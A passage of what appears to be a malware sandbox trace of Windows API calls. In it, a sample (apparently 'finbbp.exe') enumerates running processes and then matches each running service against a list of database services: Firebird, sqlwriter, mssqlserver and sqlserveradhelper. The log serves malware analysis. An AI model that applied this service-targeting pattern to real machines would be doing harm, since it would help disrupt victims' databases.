lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.682] lstrlenW (lpString="winlogon.exe") returned 12 [0265.682] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.683] lstrlenW (lpString="services.exe") returned 12 [0265.683] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.685] lstrlenW (lpString="lsass.exe") returned 9 [0265.685] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0265.686] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0265.686] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0265.686] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0265.686] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.687] lstrlenW (lpString="svchost.exe") returned 11 [0265.687] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.688] lstrlenW (lpString="svchost.exe") returned 11 [0265.688] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.689] lstrlenW (lpString="dwm.exe") returned 7 [0265.689] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.689] lstrlenW (lpString="svchost.exe") returned 11 [0265.689] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.690] lstrlenW (lpString="svchost.exe") returned 11 [0265.690] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.691] lstrlenW (lpString="svchost.exe") returned 11 [0265.691] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.695] lstrlenW (lpString="svchost.exe") returned 11 [0265.695] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.695] lstrlenW (lpString="svchost.exe") returned 11 [0265.696] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.696] lstrlenW (lpString="svchost.exe") returned 11 [0265.696] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.697] lstrlenW (lpString="svchost.exe") returned 11 [0265.697] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.698] lstrlenW (lpString="svchost.exe") returned 11 [0265.698] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.806] lstrlenW (lpString="svchost.exe") returned 11 [0265.806] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.806] lstrlenW (lpString="svchost.exe") returned 11 [0265.807] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.807] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.807] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.808] lstrlenW (lpString="svchost.exe") returned 11 [0265.808] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.809] lstrlenW (lpString="audiodg.exe") returned 11 [0265.809] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0265.810] lstrlenW (lpString="sihost.exe") returned 10 [0265.810] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.811] lstrlenW (lpString="svchost.exe") returned 11 [0265.811] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.812] lstrlenW (lpString="taskhostw.exe") returned 13 [0265.812] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0265.813] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0265.813] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0265.813] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0265.814] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0265.814] lstrlenW (lpString="Memory Compression") returned 18 [0265.814] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.815] lstrlenW (lpString="explorer.exe") returned 12 [0266.020] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0266.037] lstrlenW (lpString="SearchUI.exe") returned 12 [0266.037] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.039] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0266.039] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0266.040] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0266.040] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.041] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0266.041] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0266.041] lstrlenW (lpString="finbbp.exe") returned 10 [0266.041] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0266.042] lstrlenW (lpString="consent.exe") returned 11 [0266.042] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.043] lstrlenW (lpString="svchost.exe") returned 11 [0266.043] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.043] lstrlenW (lpString="dllhost.exe") returned 11 [0266.044] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0266.044] CloseHandle (hObject=0x3f4) returned 1 [0266.045] Sleep (dwMilliseconds=0x1f4) [0266.734] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa970 [0266.734] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0266.735] GetLastError () returned 0xea [0266.735] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d1fe8 [0266.735] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d1fe8, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d1fe8, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0266.736] CloseServiceHandle (hSCObject=0x41aa970) returned 1 [0266.736] lstrlenW (lpString="Appinfo") returned 7 [0266.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.736] lstrlenW (lpString="AppXSvc") returned 7 [0266.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0266.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0266.736] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0266.736] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0266.737] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.737] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.737] lstrlenW (lpString="Audiosrv") returned 8 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0266.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0266.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0266.737] lstrlenW (lpString="BFE") returned 3 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.737] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.737] lstrlenW (lpString="BITS") returned 4 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0266.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0266.737] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0266.737] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0266.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0266.737] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0266.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0266.738] lstrlenW (lpString="CDPSvc") returned 6 [0266.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0266.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0266.738] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0266.738] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0266.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0266.738] lstrlenW (lpString="ClickToRunSvc") returned 13 [0266.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0266.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0266.738] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0266.738] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0266.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0266.738] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0266.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0266.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0266.738] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0266.738] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0266.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0266.738] lstrlenW (lpString="CryptSvc") returned 8 [0266.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.738] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.738] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.738] lstrlenW (lpString="DcomLaunch") returned 10 [0266.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.739] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.739] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.739] lstrlenW (lpString="DeviceAssociationService") returned 24 [0266.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0266.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0266.739] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0266.739] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0266.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0266.739] lstrlenW (lpString="Dhcp") returned 4 [0266.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.739] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.739] lstrlenW (lpString="Dnscache") returned 8 [0266.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.739] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.739] lstrlenW (lpString="DPS") returned 3 [0266.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.739] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.739] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.739] lstrlenW (lpString="DusmSvc") returned 7 [0266.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0266.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0266.740] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0266.740] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0266.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0266.740] lstrlenW (lpString="EventLog") returned 8 [0266.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0266.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0266.740] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0266.740] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0266.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0266.740] lstrlenW (lpString="EventSystem") returned 11 [0266.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.740] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.740] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.740] lstrlenW (lpString="FontCache") returned 9 [0266.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0266.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0266.740] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0266.740] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0266.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0266.740] lstrlenW (lpString="gpsvc") returned 5 [0266.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.740] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.741] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.741] lstrlenW (lpString="iphlpsvc") returned 8 [0266.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.741] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.741] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.741] lstrlenW (lpString="KeyIso") returned 6 [0266.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0266.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0266.741] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0266.741] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0266.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0266.741] lstrlenW (lpString="LanmanServer") returned 12 [0266.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.741] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.741] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.741] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned 